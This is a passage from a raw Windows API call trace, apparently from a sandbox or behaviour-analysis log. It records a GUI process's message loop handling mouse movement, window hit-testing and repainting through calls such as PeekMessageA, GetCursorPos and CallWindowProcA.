hWnd=0x1035a, lpPoint=0x18fd2c | out: lpPoint=0x18fd2c) returned 1 [0279.304] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x200, wParam=0x0, lParam=0xd00132) returned 0x0 [0279.304] GetKeyState (nVirtKey=18) returned 1 [0279.304] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0279.304] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=817, y=541)) returned 1 [0279.304] WindowFromPoint (Point=0x32f) returned 0x1035a [0279.304] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x21a032f) returned 0x1 [0279.304] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0279.304] GetCurrentProcessId () returned 0x8d0 [0279.305] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0279.305] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0279.305] GetCapture () returned 0x0 [0279.305] WaitMessage () returned 1 [0279.313] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0279.313] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x2270330) returned 0x1 [0279.313] GetCursorPos (in: lpPoint=0x18fca4 | out: lpPoint=0x18fca4*(x=816, y=551)) returned 1 [0279.313] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fc8c | out: lpPoint=0x18fc8c) returned 1 [0279.313] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0279.313] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x40338, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0279.313] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0279.313] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0279.314] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0279.314] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0279.314] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0279.314] GetCapture () returned 0x0 [0279.314] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fd48 | out: lpPoint=0x18fd48) returned 1 [0279.314] WindowFromPoint (Point=0x330) returned 0x1035a [0279.314] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x2270330) returned 0x1 [0279.314] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fd28 | out: lpdwProcessId=0x18fd28) returned 0x8cc [0279.314] GetCurrentProcessId () returned 0x8d0 [0279.314] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0279.314] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fd2c | out: lpPoint=0x18fd2c) returned 1 [0279.314] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x200, wParam=0x0, lParam=0xda0131) returned 0x0 [0279.314] GetKeyState (nVirtKey=18) returned 1 [0279.314] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0279.314] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=816, y=551)) returned 1 [0279.315] WindowFromPoint (Point=0x330) returned 0x1035a [0279.315] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x2270330) returned 0x1 [0279.315] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0279.315] GetCurrentProcessId () returned 0x8d0 [0279.315] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0279.315] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0279.315] GetCapture () returned 0x0 [0279.315] WaitMessage () returned 1 [0279.332] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0279.332] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x2310330) returned 0x1 [0279.332] GetCursorPos (in: lpPoint=0x18fca4 | out: lpPoint=0x18fca4*(x=816, y=561)) returned 1 [0279.332] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fc8c | out: lpPoint=0x18fc8c) returned 1 [0279.332] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0279.332] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x40338, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0279.332] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0279.332] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0279.332] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0279.333] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0279.333] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0279.333] GetCapture () returned 0x0 [0279.333] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fd48 | out: lpPoint=0x18fd48) returned 1 [0279.333] WindowFromPoint (Point=0x330) returned 0x1035a [0279.333] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x2310330) returned 0x1 [0279.333] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fd28 | out: lpdwProcessId=0x18fd28) returned 0x8cc [0279.333] GetCurrentProcessId () returned 0x8d0 [0279.333] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0279.333] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fd2c | out: lpPoint=0x18fd2c) returned 1 [0279.333] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x200, wParam=0x0, lParam=0xe40131) returned 0x0 [0279.333] GetKeyState (nVirtKey=18) returned 1 [0279.333] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0279.333] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=816, y=561)) returned 1 [0279.333] WindowFromPoint (Point=0x32d) returned 0x1035a [0279.333] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x233032d) returned 0x1 [0279.334] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0279.334] GetCurrentProcessId () returned 0x8d0 [0279.334] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0279.334] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0279.334] GetCapture () returned 0x0 [0279.334] WaitMessage () returned 1 [0279.343] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0279.343] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x84, wParam=0x0, lParam=0x23b0330) returned 0x1 [0279.343] GetCursorPos (in: lpPoint=0x18fca4 | out: lpPoint=0x18fca4*(x=816, y=571)) returned 1 [0279.344] ClientToScreen (in: hWnd=0xb0168, lpPoint=0x18fc8c | out: lpPoint=0x18fc8c) returned 1 [0279.344] PtInRect (lprc=0x18fc80, pt=0x159) returned 0 [0279.344] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x20, wParam=0xb0168, lParam=0x2000001) returned 0x0 [0279.344] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x20, wParam=0xb0168, lParam=0x2000001) returned 0x0 [0279.344] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0xb0168, lParam=0x2000001) returned 0x0 [0279.344] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0279.344] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0279.344] GetCapture () returned 0x0 [0279.344] PtInRect (lprc=0x18fd54, pt=0x159) returned 0 [0279.344] ClientToScreen (in: hWnd=0xb0168, lpPoint=0x18fd48 | out: lpPoint=0x18fd48) returned 1 [0279.344] WindowFromPoint (Point=0x330) returned 0xb0168 [0279.344] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x84, wParam=0x0, lParam=0x23b0330) returned 0x1 [0279.345] GetWindowThreadProcessId (in: hWnd=0xb0168, lpdwProcessId=0x18fd28 | out: lpdwProcessId=0x18fd28) returned 0x8cc [0279.345] GetCurrentProcessId () returned 0x8d0 [0279.345] GetPropA (hWnd=0xb0168, lpString=0xc167) returned 0x2c87dd8 [0279.345] ClientToScreen (in: hWnd=0xb0168, lpPoint=0x18fd2c | out: lpPoint=0x18fd2c) returned 1 [0279.345] PtInRect (lprc=0x18fd20, pt=0x159) returned 0 [0279.345] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x200, wParam=0x0, lParam=0x1360159) returned 0x0 [0279.345] GetKeyState (nVirtKey=18) returned 1 [0279.345] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0279.345] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=816, y=571)) returned 1 [0279.345] WindowFromPoint (Point=0x330) returned 0xb0168 [0279.345] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x84, wParam=0x0, lParam=0x23b0330) returned 0x1 [0279.345] GetWindowThreadProcessId (in: hWnd=0xb0168, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0279.345] GetCurrentProcessId () returned 0x8d0 [0279.345] GetPropA (hWnd=0xb0168, lpString=0xc167) returned 0x2c87dd8 [0279.345] ClientToScreen (in: hWnd=0xb0168, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0279.345] PtInRect (lprc=0x18fed0, pt=0x159) returned 0 [0279.345] GetCapture () returned 0x0 [0279.346] WaitMessage () returned 1 [0279.353] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0279.353] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0279.353] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0279.353] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0279.354] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0279.354] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=816, y=571)) returned 1 [0279.354] WindowFromPoint (Point=0x330) returned 0xb0168 [0279.354] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x84, wParam=0x0, lParam=0x23b0330) returned 0x1 [0279.354] GetWindowThreadProcessId (in: hWnd=0xb0168, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0279.354] GetCurrentProcessId () returned 0x8d0 [0279.354] GetPropA (hWnd=0xb0168, lpString=0xc167) returned 0x2c87dd8 [0279.354] ClientToScreen (in: hWnd=0xb0168, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0279.354] PtInRect (lprc=0x18fed0, pt=0x159) returned 0 [0279.355] GetCapture () returned 0x0 [0279.355] WaitMessage () returned 1 [0279.364] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0279.365] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x2450330) returned 0x1 [0279.365] GetCursorPos (in: lpPoint=0x18fc8c | out: lpPoint=0x18fc8c*(x=816, y=581)) returned 1 [0279.365] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fc74 | out: lpPoint=0x18fc74) returned 1 [0279.365] PtInRect (lprc=0x18fc68, pt=0x159) returned 0 [0279.365] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0xc0060, lParam=0x2000001) returned 0x0 [0279.365] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0279.365] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0279.365] GetCapture () returned 0x0 [0279.365] PtInRect (lprc=0x18fd3c, pt=0x159) returned 0 [0279.365] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fd30 | out: lpPoint=0x18fd30) returned 1 [0279.365] WindowFromPoint (Point=0x330) returned 0xc0060 [0279.365] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x2450330) returned 0x1 [0279.365] GetWindowThreadProcessId (in: hWnd=0xc0060, lpdwProcessId=0x18fd10 | out: lpdwProcessId=0x18fd10) returned 0x8cc [0279.365] GetCurrentProcessId () returned 0x8d0 [0279.366] GetPropA (hWnd=0xc0060, lpString=0xc167) returned 0x2c84fd8 [0279.366] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fd14 | out: lpPoint=0x18fd14) returned 1 [0279.366] PtInRect (lprc=0x18fd08, pt=0x159) returned 0 [0279.366] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x200, wParam=0x0, lParam=0x1400159) returned 0x0 [0279.366] GetKeyState (nVirtKey=18) returned 1 [0279.366] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0279.366] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=816, y=581)) returned 1 [0279.366] WindowFromPoint (Point=0x331) returned 0xc0060 [0279.366] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x2420331) returned 0x1 [0279.366] GetWindowThreadProcessId (in: hWnd=0xc0060, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0279.366] GetCurrentProcessId () returned 0x8d0 [0279.366] GetPropA (hWnd=0xc0060, lpString=0xc167) returned 0x2c84fd8 [0279.366] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0279.366] PtInRect (lprc=0x18fed0, pt=0x15a) returned 0 [0279.366] GetCapture () returned 0x0 [0279.366] WaitMessage () returned 1 [0279.383] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0279.383] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x24f0330) returned 0x1 [0279.383] GetCursorPos (in: lpPoint=0x18fc98 | out: lpPoint=0x18fc98*(x=816, y=591)) returned 1 [0279.384] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fc80 | out: lpPoint=0x18fc80) returned 1 [0279.384] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x20, wParam=0x10340, lParam=0x2000001) returned 0x0 [0279.384] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x10340, lParam=0x2000001) returned 0x0 [0279.384] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0279.384] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0279.384] GetCapture () returned 0x0 [0279.384] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fd3c | out: lpPoint=0x18fd3c) returned 1 [0279.384] WindowFromPoint (Point=0x330) returned 0x10340 [0279.384] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x24f0330) returned 0x1 [0279.384] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fd1c | out: lpdwProcessId=0x18fd1c) returned 0x8cc [0279.384] GetCurrentProcessId () returned 0x8d0 [0279.384] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0279.384] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fd20 | out: lpPoint=0x18fd20) returned 1 [0279.384] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x200, wParam=0x0, lParam=0x30012) returned 0x0 [0279.384] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f958 | out: lpdwProcessId=0x18f958) returned 0x8cc [0279.384] GetCurrentProcessId () returned 0x8d0 [0279.384] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0279.384] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18fbc8) returned 0x0 [0279.385] GetKeyState (nVirtKey=18) returned 1 [0279.385] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0279.385] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0279.385] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0279.385] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0279.385] GetClientRect (in: hWnd=0x10340, lpRect=0x18f8c8 | out: lpRect=0x18f8c8) returned 1 [0279.385] FillRect (hDC=0x1f01019b, lprc=0x18f8c8, hbr=0xe100186) returned 1 [0279.385] IsIconic (hWnd=0xc0060) returned 0 [0279.385] IsIconic (hWnd=0xc0060) returned 0 [0279.386] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f7a8 | out: lpRect=0x18f7a8) returned 1 [0279.386] FillRect (hDC=0x3d01069e, lprc=0x18f7a8, hbr=0xe100186) returned 1 [0279.386] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x318, wParam=0x3d01069e, lParam=0x4) returned 0x0 [0279.386] SendMessageA (hWnd=0x10340, Msg=0xbd35, wParam=0x3d01069e, lParam=0x10340) returned 0xe100186 [0279.386] GetSysColor (nIndex=8) returned 0x0 [0279.386] SetTextColor (hdc=0x3d01069e, color=0x0) returned 0x0 [0279.386] GetSysColor (nIndex=15) returned 0xf0f0f0 [0279.386] SetBkColor (hdc=0x3d01069e, color=0xf0f0f0) returned 0xf0f0f0 [0279.386] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0279.386] GetCurrentProcessId () returned 0x8d0 [0279.386] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0279.386] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0279.386] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0279.386] GetCurrentProcessId () returned 0x8d0 [0279.387] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0279.387] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0279.387] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0279.387] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x8, lParam=0x18e78c) returned 0x7 [0279.387] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x10, lParam=0x18e764) returned 0x7 [0279.388] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0279.388] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=816, y=591)) returned 1 [0279.388] WindowFromPoint (Point=0x330) returned 0x10340 [0279.388] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x24f0330) returned 0x1 [0279.388] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0279.388] GetCurrentProcessId () returned 0x8d0 [0279.388] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0279.388] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0279.388] GetCapture () returned 0x0 [0279.388] WaitMessage () returned 1 [0279.395] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0279.395] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x2510330) returned 0x1 [0279.395] GetCursorPos (in: lpPoint=0x18fc98 | out: lpPoint=0x18fc98*(x=816, y=593)) returned 1 [0279.395] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fc80 | out: lpPoint=0x18fc80) returned 1 [0279.395] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x20, wParam=0x10340, lParam=0x2000001) returned 0x0 [0279.395] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x10340, lParam=0x2000001) returned 0x0 [0279.395] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0279.395] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0279.395] GetCapture () returned 0x0 [0279.395] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fd3c | out: lpPoint=0x18fd3c) returned 1 [0279.395] WindowFromPoint (Point=0x330) returned 0x10340 [0279.395] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x2510330) returned 0x1 [0279.396] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fd1c | out: lpdwProcessId=0x18fd1c) returned 0x8cc [0279.396] GetCurrentProcessId () returned 0x8d0 [0279.396] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0279.396] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fd20 | out: lpPoint=0x18fd20) returned 1 [0279.396] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x200, wParam=0x0, lParam=0x50012) returned 0x0 [0279.396] GetKeyState (nVirtKey=18) returned 1 [0279.396] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0279.396] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=816, y=593)) returned 1 [0279.396] WindowFromPoint (Point=0x330) returned 0x10340 [0279.396] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x24e0330) returned 0x1 [0279.396] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0279.396] GetCurrentProcessId () returned 0x8d0 [0279.396] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0279.396] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0279.396] GetCapture () returned 0x0 [0279.396] WaitMessage () returned 1 [0279.427] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0279.427] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0279.427] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0279.427] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0279.427] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0279.427] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=816, y=593)) returned 1 [0279.427] WindowFromPoint (Point=0x330) returned 0x10340 [0279.427] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x2510330) returned 0x1 [0279.427] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0279.427] GetCurrentProcessId () returned 0x8d0 [0279.427] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0279.427] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0279.427] GetCapture () returned 0x0 [0279.427] WaitMessage () returned 1 [0279.488] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0279.488] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0279.488] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0279.488] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0279.489] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0279.489] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=816, y=593)) returned 1 [0279.489] WindowFromPoint (Point=0x332) returned 0x10340 [0279.489] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x2510332) returned 0x1 [0279.489] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0279.489] GetCurrentProcessId () returned 0x8d0 [0279.489] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0279.489] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0279.489] GetCapture () returned 0x0 [0279.489] WaitMessage () returned 1 [0279.554] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0279.554] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x2510330) returned 0x1 [0279.554] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x210, wParam=0x201, lParam=0x14c0159) returned 0x0 [0279.554] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x21, wParam=0xc0060, lParam=0x2010001) returned 0x1 [0279.554] CallWindowProcA (lpPrevWndFunc=0x405e1c, 